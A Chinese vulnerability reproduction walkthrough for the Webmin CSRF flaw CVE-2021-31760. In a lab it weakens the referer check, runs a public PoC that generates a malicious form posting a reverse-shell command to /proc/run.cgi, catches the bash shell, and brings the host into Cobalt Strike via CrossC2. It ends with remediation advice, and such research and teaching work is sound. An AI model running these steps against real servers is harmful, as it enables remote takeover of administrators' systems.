天天看点

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

0x00 漏洞介绍

Webmin是基于Web的界面的用于类Unix的系统管理工具。远程攻击者可以通过社工管理员,通过CSRF漏洞以及XSS漏洞,实现获取服务器信息,远程服务器的代码执行例如bash反弹,进而控制并接管服务器。属于Web应用类的高危漏洞。简单一句话:Webmin 1.973及更低版本,如果使用

setup.pl

脚本安装

Webmin

,则会出现XSS漏洞(CVE-2021-31760、CVE-2021-31761、CVE-2021-31762)

0x01 漏洞环境

CSRF需要攻击者、客户端管理员、服务器三者配合才能实现,我这里为了省事方便,将客户端和服务端都放在了ubuntu18上面。
  • 攻击机:192.168.91.135 kali-2021
  • 目标机+网站管理员:192.168.91.137 Ubuntu 18.04 Desktop(64)
  • 工具:https://192.168.91.137:10000、火狐浏览器(CSRF漏洞复现时,不能使用谷歌浏览器,谷歌浏览器自带屏蔽CSRF)
  • Webmin版本:Webmin 1.973

0x02 漏洞搭建

1、下载webmin安装包

wget http://prdownloads.sourceforge.net/webadmin/webmin_1.973_all.deb
           

2、安装相关的依赖文件

apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python unzip
           

3、安装webmin

dpkg -i webmin_1.973_all.deb  #如果这个不行,就试试下面的这个
dpkg -i webmin_1.973_all.deb.1 #多试试,还有可能有.2的
           

安装完成后,系统默认开启10000端口,链接访问即可:https://192.168.91.137:10000

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

4、由于我这里是用Deb安装,其实是不存在漏洞的,为了重现漏洞环境,将

/etc/webmin/config

文件中的

referers_none=1

改为

referers_none=0

即可

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

0x03 影响范围

Webmin版本<=1.973

0x04 漏洞条件

1、服务器webmin版本

<=1.973

并且使用

setup.pl

2、客户端管理员登陆到

webmin

成功,不关闭浏览器且不退出登陆的同时,新建标签页打开攻击者构造的html网页

3、客户端管理员以

root

身份登陆到网站

0x05 漏洞原理

1、管理员利用了非推荐的

setup.pl

脚本安装了版本

<=1.973

webmin

,致使默认情况下不会启用检查未知引用的程序,即

/etc/webmin/config

中无

referers_none=1

此行代码,也就不存在referer字段验证,产生CSRF漏洞。

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

2、攻击者可通过精心伪造登陆界面,向

/proc/run.cgi

cmd

参数通过POST方式提交命令执行的代码,进而控制整个服务器。

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)
Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

0x06 漏洞复现

1、目标机管理员以root正常登陆https://192.168.91.137:10000 webmin页面,账号为root,密码默认为系统的

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)
Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

2、攻击机下载POC

github原项目:proxychains git clone https://github.com/electronicbots/CVE-2021-31760
github备用网址:proxychains git clone https://github.com/sukusec301/CVE-2021-31760
           

3、启用此脚本,按照脚本逻辑依次填写目标IP、攻击机IP、攻击机监听端口、反弹shell类型信息

cd CVE-2021-31760
python3 RCE_eXploit.py
           
Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

4、进入

CVE-2021-31760

脚本文件夹,可以看到生成了

CSRF_POC.html

文件

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

5、在此目录下打开终端,使用

python3

开启

http

服务

python3 -m http.server 5555
           
Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

6、在不关闭浏览器并且不退出当前登陆的情况下,新建标签页访问

192.168.91.135:5555

,点击访问

CSRF_POC.html

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)
Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

7、可以看到

Kali

监听端口这里收到了目标机器的

bash

反弹

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

8、启动CS服务与客户端

nohup ./teamserver 192.168.91.135 mima &		#后台启动,不占用前台资源
./cobaltstrike &								#后台启动,不占用前台资源
           

9、由于CS默认不支持Linux系统上线,所以需要安装一个插件——CrossC2(https://github.com/gloxec/CrossC2),并且CS导入

CrossC2

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

8、将获得的shell使用python一句话将其转换成交互式shell,随后CS CrossC2生成上线命令,使其上线

python3 -c "import pty;pty.spawn('/bin/bash')"
           
Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)
Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

9、之后可以进行内网信息探测,内网渗透,在这里不再赘述。

0x07 漏洞修复建议

1、更新Webmin,使其版本达到1.973以上

2、次者,请使用标准的RPM、Deb、TAR和Solaris软件包安装,因为它们不使用

setup.pl

webmin

,因此不容易受到攻击

3、再次者,如果确实使用

setup.pl

脚本进行安装,则可以通过将行

referers_none=1

添加到

/etc/webmin/config

中来修复这个此漏洞

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

0x08 漏洞POC+EXP分析

Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

可以非常明显地看到其主要逻辑就在这个

CSRF_Generator()

函数中,拿我们刚才填入的 target 信息和选择的反弹 shell 类型,去构建了一个可以提交 POST 表单的 CSRF 的页面,这个 POST 表单中的 cmd 字段就是构建的反弹 shell 的命令。由于有的服务器可能没安装某些语言,所以后边的几个弹 shell 的命令可能会失败...但是一般的服务器应该都有 bash 吧,所以选择第一个的 bash shell 是一般都能成功的。

之后在 Attacker 的本地开启

nc

监听一个特定的端口,当网站管理员点进了生成的恶意页面,就会将 cmd 提交到 Webmin 站点的

/proc/run.cgi

去执行,其中就包含了使用

nc

向 Attacker 反弹 shell 的逻辑。

继续阅读